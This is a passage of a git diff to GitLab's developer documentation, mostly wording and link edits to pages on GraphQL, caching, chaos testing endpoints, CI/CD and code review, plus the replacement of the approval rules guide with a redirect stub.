[`GraphqlController`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/controllers/graphql_controller.rb) for details. @@ -1820,7 +1832,7 @@ needs of the _user_ from the needs of the _client_. > _Never catch an error unless the user needs to know about it._ If the user does need to know about it, communicate with frontend developers -to make sure the error information we are passing back is useful. +to make sure the error information we are passing back is relevant and serves a purpose. See also the [frontend GraphQL guide](../development/fe_guide/graphql.md#handling-errors). @@ -1863,7 +1875,7 @@ process, read [merge request !42588](https://gitlab.com/gitlab-org/gitlab/-/merg We use subscriptions to push updates to clients. We use the [Action Cable implementation](https://graphql-ruby.org/subscriptions/action_cable_implementation) to deliver the messages over websockets. -When a client subscribes to a subscription, we store their query in-memory within Puma workers. Then when the subscription is triggered, +When a client subscribes to a subscription, we store their query in-memory in Puma workers. Then when the subscription is triggered, the Puma workers execute the stored GraphQL queries and push the results to the clients. NOTE: @@ -1885,7 +1897,7 @@ This class runs during the initial subscription request and subsequent updates. You should implement the `#authorized?` method of the subscription class so that the initial subscription and subsequent updates are authorized. When a user is not authorized, you should call the `unauthorized!` helper so that execution is halted and the user is unsubscribed. Returning `false` -results in redaction of the response but we leak information that some updates are happening. This is due to a +results in redaction of the response, but we leak information that some updates are happening. This leakage is due to a [bug in the GraphQL gem](https://github.com/rmosolgo/graphql-ruby/issues/3390). ### Triggering subscriptions @@ -1895,13 +1907,13 @@ code so that we have a single source of truth and we do not trigger a subscripti ## Pagination implementation -To learn more, visit [GraphQL pagination](graphql_guide/pagination.md). +For more information, see [GraphQL pagination](graphql_guide/pagination.md). ## Validating arguments For validations of single arguments, use the [`prepare` option](https://github.com/rmosolgo/graphql-ruby/blob/master/guides/fields/arguments.md) -as normal. +as usual. Sometimes a mutation or resolver may accept a number of optional arguments, but we still want to validate that at least one of the optional @@ -1957,8 +1969,8 @@ field :created_at, Types::TimeType, null: true, description: 'Timestamp of when ## Testing For testing mutations and resolvers, consider the unit of -test a full GraphQL request, not a call to a resolver. The reasons for this are -that we want to avoid lots of coupling to the framework, since this makes +test a full GraphQL request, not a call to a resolver. This allows us to +avoid tight coupling to the framework because such coupling makes upgrades to dependencies much more difficult. You should: @@ -2022,7 +2034,7 @@ When adding a query, you can use the `a working graphql query` shared example to renders valid results. You can construct a query including all available fields using the `GraphqlHelpers#all_graphql_fields_for` -helper. This makes it easy to add a test rendering all possible fields for a query. +helper. This makes it more straightforward to add a test rendering all possible fields for a query. If you're adding a field to a query that supports pagination and sorting, visit [Testing](graphql_guide/pagination.md#testing) for details. @@ -2164,11 +2176,11 @@ end `spec/requests/api/graphql/ci/pipeline_spec.rb` regardless of the query being used to fetch the pipeline data. -- There can be possible cyclic dependencies within our GraphQL types. +- There can be possible cyclic dependencies in our GraphQL types. See [Adding field with resolver on a Type causes "Can't determine the return type " error on a different Type](https://github.com/rmosolgo/graphql-ruby/issues/3974#issuecomment-1084444214) and [Fix unresolved name due to cyclic definition](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/84202/diffs#diff-content-32d14251082fd45412e1fdbf5820e62d157e70d2). - In particular, this can happen with `connection_type`. Normally we might use the following in a resolver: + In particular, this can happen with `connection_type`. Typically we might use the following in a resolver: ```ruby type Types::IssueType.connection_type, null: true @@ -2214,8 +2226,8 @@ end type "Types::IssueConnection", null: true ``` - Only use this style if you are having spec failures. This is not intended to be a new - pattern that we use. This issue should disappear after we've upgraded to `2.x`. + Only use this style if you are having spec failures. We should not typically + use this pattern. This issue should disappear after we've upgraded to `2.x`. - There can be instances where a spec fails because the class is not loaded correctly. It relates to the @@ -2256,8 +2268,8 @@ end See [this merge request](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/87295#note_946174036) for some discussion. - Only use this style if you are having spec failures. This is not intended to be a new - pattern that we use. This issue may disappear after we've upgraded to `2.x`. + Only use this style if you are having spec failures. We should not typically use this pattern. + This issue may disappear after we've upgraded to `2.x`. - When testing resolvers using `GraphqlHelpers#resolve`, arguments for the resolver can be handled two ways. @@ -2287,8 +2299,8 @@ end ``` The use of `:internal_prepared` was added as a bridge for the - [GraphQL gem](https://graphql-ruby.org) upgrade. Testing resolvers directly will be - [removed eventually](https://gitlab.com/gitlab-org/gitlab/-/issues/363121), + [GraphQL gem](https://graphql-ruby.org) upgrade. Testing resolvers directly will + [eventually be removed](https://gitlab.com/gitlab-org/gitlab/-/issues/363121), and writing unit tests for resolvers/mutations is [already deprecated](#writing-unit-tests-deprecated) @@ -2329,7 +2341,7 @@ Queries and mutations are limited by depth, complexity, and recursion to protect server resources from overly ambitious or malicious queries. These values can be set as defaults and overridden in specific queries as needed. The complexity values can be set per object as well, and the final query complexity is -evaluated based on how many objects are being returned. This is useful +evaluated based on how many objects are being returned. This can be used for objects that are expensive (such as requiring Gitaly calls). For example, a conditional complexity method in a resolver: diff --git a/doc/development/application_slis/rails_request_apdex.md b/doc/development/application_slis/rails_request_apdex.md index 8fcd725f74d..dc9d67b0a2b 100644 --- a/doc/development/application_slis/rails_request_apdex.md +++ b/doc/development/application_slis/rails_request_apdex.md @@ -228,18 +228,13 @@ get 'client/features', urgency: :low do end ``` +WARNING: +We can't specify the urgency at the namespace level. The directive is ignored when doing so. + ### Error budget attribution and ownership This SLI is used for service level monitoring. It feeds into the -[error budget for stage groups](../stage_group_observability/index.md#error-budget). For this -particular SLI, we have opted everyone out by default to give time to -set the correct urgencies on endpoints before it affects a group's -error budget. - -To include this SLI in the error budget, remove the `rails_requests` -from the `ignored_components` array in the entry for your group. Read -more about what is configurable in the -[runbooks documentation](https://gitlab.com/gitlab-com/runbooks/-/tree/master/services#teamsyml). +[error budget for stage groups](../stage_group_observability/index.md#error-budget). For more information, read the epic for [defining custom SLIs and incorporating them into error budgets](https://gitlab.com/groups/gitlab-com/gl-infra/-/epics/525)). @@ -252,7 +247,7 @@ request rates on the In the **Budget Attribution** row, the **Puma Apdex** log link shows you how many requests are not meeting a 1s or 5s target. -Learn more about the content of the dashboard in the documentation for +For more information about the content of the dashboard, see [Dashboards for stage groups](../stage_group_observability/index.md). For more information -on our exploration of the error budget itself, read the infrastructure issue -[Stage group error budget exploration dashboard](https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/1365). +about our exploration of the error budget itself, see +[issue 1365](https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/1365). diff --git a/doc/development/approval_rules.md b/doc/development/approval_rules.md index f75cf35b32a..2e36be1231d 100644 --- a/doc/development/approval_rules.md +++ b/doc/development/approval_rules.md @@ -1,286 +1,11 @@ --- -stage: Create -group: Code Review -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments +redirect_to: 'merge_request_concepts/approval_rules.md' +remove_date: '2023-04-23' --- -# Approval Rules development guide +This document was moved to [another location](merge_request_concepts/approval_rules.md). -This document explains the backend design and flow of all related functionality -about [merge request approval rules](../user/project/merge_requests/approvals/index.md). - -This should help contributors to understand the code design easier and to also -help see if there are parts to improve as the feature and its implementation -evolves. - -It's intentional that it doesn't contain too much implementation detail as they -can change often. The code should explain those things better. The components -mentioned here are the major parts of the application for the approval rules -feature to work. - -NOTE: -This is a living document and should be updated accordingly when parts -of the codebase touched in this document are changed or removed, or when new components -are added. - -## Data Model - -```mermaid -erDiagram - Project ||--o{ MergeRequest: " " - Project ||--o{ ApprovalProjectRule: " " - ApprovalProjectRule }o--o{ User: " " - ApprovalProjectRule }o--o{ Group: " " - ApprovalProjectRule }o--o{ ProtectedBranch: " " - MergeRequest ||--|| ApprovalState: " " - ApprovalState ||--o{ ApprovalWrappedRule: " " - MergeRequest ||--o{ Approval: " " - MergeRequest ||--o{ ApprovalMergeRequestRule: " " - ApprovalMergeRequestRule }o--o{ User: " " - ApprovalMergeRequestRule }o--o{ Group: " " - ApprovalMergeRequestRule ||--o| ApprovalProjectRule: " " -``` - -### `Project` and `MergeRequest` - -`Project` and `MergeRequest` models are defined in `ee/app/models/ee/project.rb` -and `ee/app/models/ee/merge_request.rb`. They extend the non-EE versions, because -approval rules are an EE-only feature. Associations and other related stuff to -merge request approvals are defined here. - -### `ApprovalState` - -```mermaid -erDiagram - MergeRequest ||--|| ApprovalState: " " -``` - -`ApprovalState` class is defined in `ee/app/models/approval_state.rb`. It's not -an actual `ActiveRecord` model. This class encapsulates all logic related to the -state of the approvals for a certain merge request like: - -- Knowing the approval rules that are applicable to the merge request based on - its target branch. -- Knowing the approval rules that are applicable to a certain target branch. -- Checking if all rules were approved. -- Checking if approval is required. -- Knowing how many approvals were given or still required. - -It gets the approval rules data from the project (`ApprovalProjectRule`) or the -merge request (`ApprovalMergeRequestRule`) and wrap it as `ApprovalWrappedRule`. - -### `ApprovalProjectRule` - -```mermaid -erDiagram - Project ||--o{ ApprovalProjectRule: " " - ApprovalProjectRule }o--o{ User: " " - ApprovalProjectRule }o--o{ Group: " " - ApprovalProjectRule }o--o{ ProtectedBranch: " " -``` - -`ApprovalProjectRule` model is defined in `ee/app/models/approval_project_rule.rb`. - -A record is created/updated/deleted when an approval rule is added/edited/removed -via project settings or the [project level approvals API](../api/merge_request_approvals.md#project-level-mr-approvals). -The `ApprovalState` model get these records when approval rules are not -overwritten. - -The `protected_branches` attribute is set and used when a rule is scoped to -protected branches. See [Approvals for protected branches](../user/project/merge_requests/approvals/rules.md#approvals-for-protected-branches) -for more information about the feature. - -### `ApprovalMergeRequestRule` - -```mermaid -erDiagram - MergeRequest ||--o{ ApprovalMergeRequestRule: " " - ApprovalMergeRequestRule }o--o{ User: " " - ApprovalMergeRequestRule }o--o{ Group: " " - ApprovalMergeRequestRule ||--o| ApprovalProjectRule: " " -``` - -`ApprovalMergeRequestRule` model is defined in `ee/app/models/approval_merge_request_rule.rb`. - -A record is created/updated/deleted when a rule is added/edited/removed via merge -request create/edit form or the [merge request level approvals API](../api/merge_request_approvals.md#merge-request-level-mr-approvals). - -The `approval_project_rule` is set when it is based from an existing `ApprovalProjectRule`. - -An `ApprovalMergeRequestRule` doesn't have `protected_branches` as it inherits -them from the `approval_project_rule` if not overridden. - -### `ApprovalWrappedRule` - -```mermaid -erDiagram - ApprovalState ||--o{ ApprovalWrappedRule: " " -``` - -`ApprovalWrappedRule` is defined in `ee/app/modes/approval_wrapped_rule.rb` and -is not an `ActiveRecord` model. It's used to wrap an `ApprovalProjectRule` or -`ApprovalMergeRequestRule` for common interface. It also has the following sub -types: - -- `ApprovalWrappedAnyApprovalRule` - for wrapping an `any_approver` rule. -- `ApprovalWrappedCodeOwnerRule` - for wrapping a `code_owner` rule. - -This class delegates most of the responsibilities to the approval rule it wraps -but it's also responsible for: - -- Checking if the approval rule is approved. -- Knowing how many approvals were given or still required for the approval rule. - -It gets this information from the approval rule and the `Approval` records from -the merge request. - -### `Approval` - -```mermaid -erDiagram - MergeRequest ||--o{ Approval: " " -``` - -`Approval` model is defined in `ee/app/models/approval.rb`. This model is -responsible for storing information about an approval made on a merge request. -Whenever an approval is given/revoked, a record is created/deleted. - -## Controllers and Services - -The following controllers and services below are being used for the approval -rules feature to work. - -### `API::ProjectApprovalSettings` - -This private API is defined in `ee/lib/api/project_approval_settings.rb`. - -This is used for the following: - -- Listing the approval rules in project settings. -- Creating/updating/deleting rules in project settings. -- Listing the approval rules on create merge request form. - -### `Projects::MergeRequests::CreationsController` - -This controller is defined in `app/controllers/projects/merge_requests/creations_controller.rb`. - -The `create` action of this controller is used when create merge request form is -submitted. It accepts the `approval_rules_attributes` parameter for creating/updating/deleting -`ApprovalMergeRequestRule` records. It passes the parameter along when it executes -`MergeRequests::CreateService`. - -### `Projects::MergeRequestsController` - -This controller is defined in `app/controllers/projects/merge_requests_controller.rb`. - -The `update` action of this controller is used when edit merge request form is -submitted. It's like `Projects::MergeRequests::CreationsController` but it executes -`MergeRequests::UpdateService` instead. - -### `API::MergeRequestApprovals` - -This API is defined in `ee/lib/api/merge_request_approvals.rb`. - -The [Approvals API endpoint](../api/merge_request_approvals.md#get-configuration-1) -is requested when merge request page loads. - -The `/projects/:id/merge_requests/:merge_request_iid/approval_settings` is a -private API endpoint used for the following: - -- Listing the approval rules on edit merge request form. -- Listing the approval rules on the merge request page. - -When approving/unapproving MR via UI and API, the [Approve Merge Request](../api/merge_request_approvals.md#approve-merge-request) -API endpoint and the [Unapprove Merge Request](../api/merge_request_approvals.md#unapprove-merge-request) -API endpoint are requested. They execute `MergeRequests::ApprovalService` and -`MergeRequests::RemoveApprovalService` accordingly. - -### `API::ProjectApprovalRules` and `API::MergeRequestApprovalRules` - -These APIs are defined in `ee/lib/api/project_approval_rules.rb` and -`ee/lib/api/merge_request_approval_rules.rb`. - -Used to list/create/update/delete project and merge request level rules via -[Merge request approvals API](../api/merge_request_approvals.md). - -Executes `ApprovalRules::CreateService`, `ApprovalRules::UpdateService`, -`ApprovalRules::ProjectRuleDestroyService`, and `ApprovalRules::MergeRequestRuleDestroyService` -accordingly. - -### `ApprovalRules::ParamsFilteringService` - -This service is defined in `ee/app/services/approval_rules/params_filtering_service.rb`. - -It is called only when `MergeRequests::CreateService` and -`MergeRequests::UpdateService` are executed. - -It is responsible for parsing `approval_rules_attributes` parameter to: - -- Remove it when user can't update approval rules. -- Filter the user IDs whether they are members of the project or not. -- Filter the group IDs whether they are visible to user. -- Identify the `any_approver` rule. -- Append hidden groups to it when specified. -- Append user defined inapplicable (rules that do not apply to the merge request's target - branch) approval rules. - -## Flow - -These flowcharts should help explain the flow from the controllers down to the -models for different functionalities. - -Some CRUD API endpoints are intentionally skipped because they are pretty -straightforward. - -### Creating a merge request with approval rules via web UI - -```mermaid -graph LR - Projects::MergeRequests::CreationsController --> MergeRequests::CreateService - MergeRequests::CreateService --> ApprovalRules::ParamsFilteringService - ApprovalRules::ParamsFilteringService --> MergeRequests::CreateService - MergeRequests::CreateService --> MergeRequest - MergeRequest --> db[(Database)] - MergeRequest --> User - MergeRequest --> Group - MergeRequest --> ApprovalProjectRule - User --> db[(Database)] - Group --> db[(Database)] - ApprovalProjectRule --> db[(Database)] -``` - -When updating, same flow is followed but it starts at `Projects::MergeRequestsController` -and executes `MergeRequests::UpdateService` instead. - -### Viewing the merge request approval rules on an MR page - -```mermaid -graph LR - API::MergeRequestApprovals --> MergeRequest - MergeRequest --> ApprovalState - ApprovalState --> id1{approval rules are overridden} - id1{approval rules are overridden} --> |No| ApprovalProjectRule & ApprovalMergeRequestRule - id1{approval rules are overridden} --> |Yes| ApprovalMergeRequestRule - ApprovalState --> ApprovalWrappedRule - ApprovalWrappedRule --> Approval -``` - -This flow gets initiated by the frontend component. The data returned is -used to display information on the MR widget. - -### Approving a merge request - -```mermaid -graph LR - API::MergeRequestApprovals --> MergeRequests::ApprovalService - MergeRequests::ApprovalService --> Approval - Approval --> db[(Database)] -``` - -When unapproving, same flow is followed but the `MergeRequests::RemoveApprovalService` -is executed instead. - -## TODO - -1. Add information related to other rule types, such as `code_owner` and `report_approver`. -1. Add information about side effects of approving/unapproving merge request. +<!-- This redirect file can be deleted after <2023-04-23>. --> +<!-- Redirects that point to other docs in the same project expire in three months. --> +<!-- Redirects that point to docs in a different project or site (for example, link is not relative and starts with `https:`) expire in one year. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/redirects.html --> diff --git a/doc/development/architecture.md b/doc/development/architecture.md index cba868d3fed..96b70e2fbd8 100644 --- a/doc/development/architecture.md +++ b/doc/development/architecture.md @@ -18,7 +18,7 @@ GitLab is available under [different subscriptions](https://about.gitlab.com/pri New versions of GitLab are released from stable branches, and the `main` branch is used for bleeding-edge development. -For more information, visit the [GitLab Release Process](https://about.gitlab.com/handbook/engineering/releases/). +For more information, see the [GitLab release process](https://about.gitlab.com/handbook/engineering/releases/). Both distributions require additional components. These components are described in the [Component details](#components) section, and all have their own repositories. @@ -34,8 +34,8 @@ Kubernetes platform. The largest known GitLab instance is on GitLab.com, which i [official GitLab Helm chart](https://docs.gitlab.com/charts/) and the [official Linux package](https://about.gitlab.com/install/). A typical installation uses NGINX or Apache as a web server to proxy through -[GitLab Workhorse](https://gitlab.com/gitlab-org/gitlab-workhorse) and into the [Puma](https://puma.io) -application server. GitLab serves web pages and the [GitLab API](../api/index.md) using the Puma +[GitLab Workhorse](https://gitlab.com/gitlab-org/gitlab/tree/master/workhorse) and into the [Puma](https://puma.io) +application server. GitLab serves web pages and the [GitLab API](../api/rest/index.md) using the Puma application server. It uses Sidekiq as a job queue which, in turn, uses Redis as a non-persistent database backend for job information, metadata, and incoming jobs. @@ -378,6 +378,7 @@ Component statuses are linked to configuration documentation for each component. | [Runner](#gitlab-runner) | Executes GitLab CI/CD jobs | ⤓ | ⤓ | ✅ | ⚙ | ✅ | ⚙ | ⚙ | CE & EE | | [Sentry integration](#sentry) | Error tracking for deployed apps | ⤓ | ⤓ | ⤓ | ⤓ | ⤓ | ⤓ | ⤓ | CE & EE | | [Sidekiq](#sidekiq) | Background jobs processor | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | CE & EE | +| [Token Revocation API](sec/token_revocation_api.md) | Receives and revokes leaked secrets | ❌ | ❌ | ❌ | ❌ | ✅ | ❌ | ❌ | EE Only | ### Component details @@ -770,7 +771,8 @@ Whenever a client requests to pull or push an image from the registry, it returns a `401` response along with a header detailing where to get an authentication token, in this case the GitLab instance. The client then requests a pull or push auth token from GitLab and retries the original request -to the registry. Learn more about [token authentication](https://docs.docker.com/registry/spec/auth/token/). +to the registry. For more information, see +[token authentication](https://docs.docker.com/registry/spec/auth/token/). An external registry can also be configured to use GitLab as an auth endpoint. diff --git a/doc/development/bulk_import.md b/doc/development/bulk_import.md index 92236594f8e..0d9c7348915 100644 --- a/doc/development/bulk_import.md +++ b/doc/development/bulk_import.md @@ -4,16 +4,16 @@ group: Import info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# GitLab Group Migration +# Group migration by direct transfer [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/2771) in GitLab 13.7. WARNING: This feature is [under construction](https://gitlab.com/groups/gitlab-org/-/epics/2771) and its API/Architecture might change in the future. -GitLab Group Migration is the evolution of Project and Group Import functionality. The -goal is to have an easier way to the user migrate a whole Group, including -Projects, from one GitLab instance to another. +[Group migration by direct transfer](../user/group/import/index.md#migrate-groups-by-direct-transfer-recommended) is the +evolution of migrating groups and projects using file exports. The goal is to have an easier way for the user to migrate a whole group, +including projects, from one GitLab instance to another. ## Design decisions @@ -24,7 +24,7 @@ works with a set of [ETL](#etl) Pipelines leveraging from the current [GitLab AP  -### [ETL](https://www.ibm.com/cloud/learn/etl) +### [ETL](https://www.ibm.com/topics/etl) <!-- Direct quote from the IBM URL link --> @@ -40,9 +40,9 @@ idea is to have one ETL pipeline for each relation to be imported. The current [Project](../user/project/settings/import_export.md) and [Group](../user/group/settings/import_export.md) Import are file based, so they require an export step to generate the file to be imported. -GitLab Group migration leverages on [GitLab API](../api/index.md) to speed the migration. +GitLab Group migration leverages on [GitLab API](../api/rest/index.md) to speed the migration. -And, because we're on the road to [GraphQL](../api/index.md#graphql-api), +And, because we're on the road to [GraphQL](../api/graphql/index.md), GitLab Group Migration will be contributing towards to expand the GraphQL API coverage, which benefits both GitLab and its users. diff --git a/doc/development/cached_queries.md b/doc/development/cached_queries.md index 1b590d68d18..0525603893f 100644 --- a/doc/development/cached_queries.md +++ b/doc/development/cached_queries.md @@ -65,8 +65,8 @@ to view the list of database queries, including cached queries. The performance bar shows a warning when the number of total executed and cached queries is greater than 100. -To learn more about the statistics available to you, read the -[Performance Bar documentation](../administration/monitoring/performance/performance_bar.md). +For more information about the statistics available to you, see +[Performance bar](../administration/monitoring/performance/performance_bar.md). ## What to look for @@ -149,16 +149,16 @@ the following statistics: - Total retained: 757595 bytes (6070 objects) - `db_count`: 144 - `db_cached_count`: 55 -- `db_duration`: 303ms +- `db_duration`: 303 ms The fix reduced the allocated memory, and the number of cached queries. These factors help improve the overall execution time: -- Total allocated: 5313899 bytes (65290 objects), 1810KB (25%) less -- Total retained: 685593 bytes (5278 objects), 72KB (9%) less +- Total allocated: 5313899 bytes (65290 objects), 1810 KB (25%) less +- Total retained: 685593 bytes (5278 objects), 72 KB (9%) less - `db_count`: 95 (34% less) - `db_cached_count`: 6 (89% less) -- `db_duration`: 162ms (87% faster) +- `db_duration`: 162 ms (87% faster) ## For more information diff --git a/doc/development/caching.md b/doc/development/caching.md index 58ec7a77591..9b3f9a4215e 100644 --- a/doc/development/caching.md +++ b/doc/development/caching.md @@ -22,11 +22,11 @@ A faster store for data, which is: ## What is fast? -The goal for every web page should be to return in under 100ms: +The goal for every web page should be to return in under 100 ms: - This is achievable, but you need caching on a modern application. - Larger responses take longer to build, and caching becomes critical to maintaining a constant speed. -- Cache reads are typically sub-1ms. There is very little that this doesn't improve. +- Cache reads are typically sub-1 ms. There is very little that this doesn't improve. - It's no good only being fast on subsequent page loads, as the initial experience is important too, so this isn't a complete solution. - User-specific data makes this challenging, and presents the biggest challenge @@ -219,7 +219,7 @@ Use conditional GET caching when the entire response is cacheable: - Users and API libraries can ignore the cache. - Sometimes Chrome does weird things with caches. -- You will forget it exists in development mode and get angry when your changes aren't appearing. +- You forget it exists in development mode and get angry when your changes aren't appearing. - In theory using conditional GET caching makes sense everywhere, but in practice it can sometimes cause odd issues. diff --git a/doc/development/chaos_endpoints.md b/doc/development/chaos_endpoints.md index 008c3700253..196ec14bffa 100644 --- a/doc/development/chaos_endpoints.md +++ b/doc/development/chaos_endpoints.md @@ -12,7 +12,7 @@ As [Werner Vogels](https://twitter.com/Werner), the CTO at Amazon Web Services, <!-- vale gitlab.Spelling = NO --> -As a developer, it's as important to consider the failure modes in which your software may operate as much as normal operation. Doing so can mean the difference between a minor hiccup leading to a scattering of `500` errors experienced by a tiny fraction of users, and a full site outage that affects all users for an extended period. +As a developer, it's as important to consider the failure modes in which your software may operate as much as typical operation. Doing so can mean the difference between a minor hiccup leading to a scattering of `500` errors experienced by a tiny fraction of users, and a full site outage that affects all users for an extended period. To paraphrase [Tolstoy](https://en.wikipedia.org/wiki/Anna_Karenina_principle), _all happy servers are alike, but all failing servers are failing in their own way_. Luckily, there are ways we can attempt to simulate these failure modes, and the chaos endpoints are tools for assisting in this process. @@ -65,8 +65,8 @@ GET /-/chaos/leakmem?memory_mb=1024&duration_s=50&async=true | Attribute | Type | Required | Description | | ------------ | ------- | -------- | ------------------------------------------------------------------------------------ | -| `memory_mb` | integer | no | How much memory, in MB, should be leaked. Defaults to 100MB. | -| `duration_s` | integer | no | Minimum duration_s, in seconds, that the memory should be retained. Defaults to 30s. | +| `memory_mb` | integer | no | How much memory, in MB, should be leaked. Defaults to 100 MB. | +| `duration_s` | integer | no | Minimum duration_s, in seconds, that the memory should be retained. Defaults to 30 s. | | `async` | boolean | no | Set to true to leak memory in a Sidekiq background worker process | ```shell @@ -79,7 +79,7 @@ curl "http://localhost:3000/-/chaos/leakmem?memory_mb=1024&duration_s=10&token=s This endpoint attempts to fully use a single core, at 100%, for the given period. -Depending on your rack server setup, your request may timeout after a predetermined period (normally 60 seconds). +Depending on your rack server setup, your request may timeout after a predetermined period (typically 60 seconds). ```plaintext GET /-/chaos/cpu_spin @@ -89,7 +89,7 @@ GET /-/chaos/cpu_spin?duration_s=50&async=true | Attribute | Type | Required | Description | | ------------ | ------- | -------- | --------------------------------------------------------------------- | -| `duration_s` | integer | no | Duration, in seconds, that the core is used. Defaults to 30s | +| `duration_s` | integer | no | Duration, in seconds, that the core is used. Defaults to 30 s | | `async` | boolean | no | Set to true to consume CPU in a Sidekiq background worker process | ```shell @@ -103,7 +103,7 @@ curl "http://localhost:3000/-/chaos/cpu_spin?duration_s=60&token=secret" This endpoint attempts to fully use a single core, and interleave it with DB request, for the given period. This endpoint can be used to model yielding execution to another threads when running concurrently. -Depending on your rack server setup, your request may timeout after a predetermined period (normally 60 seconds). +Depending on your rack server setup, your request may timeout after a predetermined period (typically 60 seconds). ```plaintext GET /-/chaos/db_spin @@ -113,8 +113,8 @@ GET /-/chaos/db_spin?duration_s=50&async=true | Attribute | Type | Required | Description | | ------------ | ------- | -------- | --------------------------------------------------------------------------- | -| `interval_s` | float | no | Interval, in seconds, for every DB request. Defaults to 1s | -| `duration_s` | integer | no | Duration, in seconds, that the core is used. Defaults to 30s | +| `interval_s` | float | no | Interval, in seconds, for every DB request. Defaults to 1 s | +| `duration_s` | integer | no | Duration, in seconds, that the core is used. Defaults to 30 s | | `async` | boolean | no | Set to true to perform the operation in a Sidekiq background worker process | ```shell @@ -137,7 +137,7 @@ GET /-/chaos/sleep?duration_s=50&async=true | Attribute | Type | Required | Description | | ------------ | ------- | -------- | ---------------------------------------------------------------------- | -| `duration_s` | integer | no | Duration, in seconds, that the request sleeps for. Defaults to 30s | +| `duration_s` | integer | no | Duration, in seconds, that the request sleeps for. Defaults to 30 s | | `async` | boolean | no | Set to true to sleep in a Sidekiq background worker process | ```shell @@ -170,7 +170,7 @@ curl "http://localhost:3000/-/chaos/kill?token=secret" ## Quit This endpoint simulates the unexpected death of a worker process using the `QUIT` signal. -Unlike `KILL`, the `QUIT` signal will also attempt to write a core dump. +Unlike `KILL`, the `QUIT` signal also attempts to write a core dump. See [core(5)](https://man7.org/linux/man-pages/man5/core.5.html) for more information. ```plaintext @@ -191,7 +191,7 @@ curl "http://localhost:3000/-/chaos/quit?token=secret" This endpoint triggers a GC run on the worker handling the request and returns its worker ID plus GC stats as JSON. This is mostly useful when running Puma in standalone mode, since -otherwise the worker handling the request will not be known upfront. +otherwise the worker handling the request cannot be known upfront. Endpoint: diff --git a/doc/development/cicd/index.md b/doc/development/cicd/index.md index 2a60ca18169..641d0ea4f6f 100644 --- a/doc/development/cicd/index.md +++ b/doc/development/cicd/index.md @@ -69,7 +69,7 @@ looks for the next jobs to be transitioned towards completion. While doing that, updates the status of jobs, stages and the overall pipeline. On the right side of the diagram we have a list of [runners](../../ci/runners/index.md) -connected to the GitLab instance. These can be shared runners, group runners, or project-specific runners. +connected to the GitLab instance. These can be shared runners, group runners, or project runners. The communication between runners and the Rails server occurs through a set of API endpoints, grouped as the `Runner API Gateway`. @@ -131,7 +131,7 @@ After the runner is [registered](https://docs.gitlab.com/runner/register/) using - The type of runner it is registered as: - a shared runner - a group runner - - a project specific runner + - a project runner - Any associated tags. The runner initiates the communication by requesting jobs to execute with `POST /api/v4/jobs/request`. Although polling happens every few seconds, we leverage caching through HTTP headers to reduce the server-side work load if the job queue doesn't change. diff --git a/doc/development/code_review.md b/doc/development/code_review.md index e194453565a..245fb2152cd 100644 --- a/doc/development/code_review.md +++ b/doc/development/code_review.md @@ -37,7 +37,7 @@ also to spread the workload. For assistance with security scans or comments, include the Application Security Team (`@gitlab-com/gl-security/appsec`). -The reviewers use the [reviewer functionality](../user/project/merge_requests/getting_started.md#reviewer) in the sidebar. +The reviewers use the [reviewer functionality](../user/project/merge_requests/reviews/index.md) in the sidebar. Reviewers can add their approval by [approving additionally](../user/project/merge_requests/approvals/index.md#approve-a-merge-request). Depending on the areas your merge request touches, it must be **approved** by one @@ -290,6 +290,23 @@ warrant a comment could be: If there are any projects, snippets, or other assets that are required for a reviewer to validate the solution, ensure they have access to those assets before requesting review. +When assigning reviewers, it can be helpful to: + +- Add a comment to the MR indicating which *type* of review you are looking for + from that reviewer. + - For example, if an MR changes a database query and updates + backend code, the MR author first needs a `~backend` review and a `~database` + review. While assigning the reviewers, the author adds a comment to the MR + letting each reviewer know which domain they should review. + - Many GitLab team members are domain experts in more than one area, + so without this type of comment it is sometimes ambiguous what type + of review they are being asked to provide. + - Explicitness around MR review types is efficient for the MR author because + they receive the type of review that they are looking for and it is + efficient for the MR reviewers because they immediately know which type of review to provide. + - [Example 1](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/75921#note_758161716) + - [Example 2](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/109500#note_1253955051) + Avoid: - Adding TODO comments (referenced above) directly to the source code unless the reviewer requires @@ -459,7 +476,7 @@ first time. ### Requesting a review When you are ready to have your merge request reviewed, -you should [request an initial review](../user/project/merge_requests/getting_started.md#reviewer) by selecting a reviewer based on the [approval guidelines](#approval-guidelines). +you should [request an initial review](../user/project/merge_requests/reviews/index.md) by selecting a reviewer based on the [approval guidelines](#approval-guidelines). When a merge request has multiple areas for review, it is recommended you specify which area a reviewer should be reviewing, and at which stage (first or second). This will help team members who qualify as a reviewer for multiple areas to know which area they're being requested to review. @@ -522,8 +539,8 @@ Before taking the decision to merge: - If the MR contains both Quality and non-Quality-related changes, the MR should be merged by the relevant maintainer for user-facing changes (backend, frontend, or database) after the Quality related changes are approved by a Software Engineer in Test. At least one maintainer must approve an MR before it can be merged. MR authors and -people who add commits to an MR are not authorized to approve the merge request, -so they must seek a maintainer who has not contributed to the MR to approve the MR before it can be merged. +people who add commits to an MR are not authorized to approve or merge the MR and +must seek a maintainer who has not contributed to the MR to approve and merge it. This policy is in place to satisfy the CHG-04 control of the GitLab [Change Management Controls](https://about.gitlab.com/handbook/security/security-assurance/security-compliance/guidance/change-management.html). @@ -701,11 +718,12 @@ Enterprise Edition instance. This has some implications: cached value returns (say, from a string or nil to an array), change the cache key at the same time. 1. **Settings** should be added as a - [last resort](https://about.gitlab.com/handbook/product/#convention-over-configuration). + [last resort](https://about.gitlab.com/handbook/product/product-principles/#convention-over-configuration). If you're adding a new setting in `gitlab.yml`: 1. Try to avoid that, and add to `ApplicationSetting` instead. 1. Ensure that it is also [added to Omnibus](https://docs.gitlab.com/omnibus/settings/gitlab.yml#adding-a-new-setting-to-gitlabyml). + 1. Ensure that it is also [added to Charts](https://docs.gitlab.com/charts/development/style_guide.html), if needed. 1. **File system access** is not possible in a [cloud-native 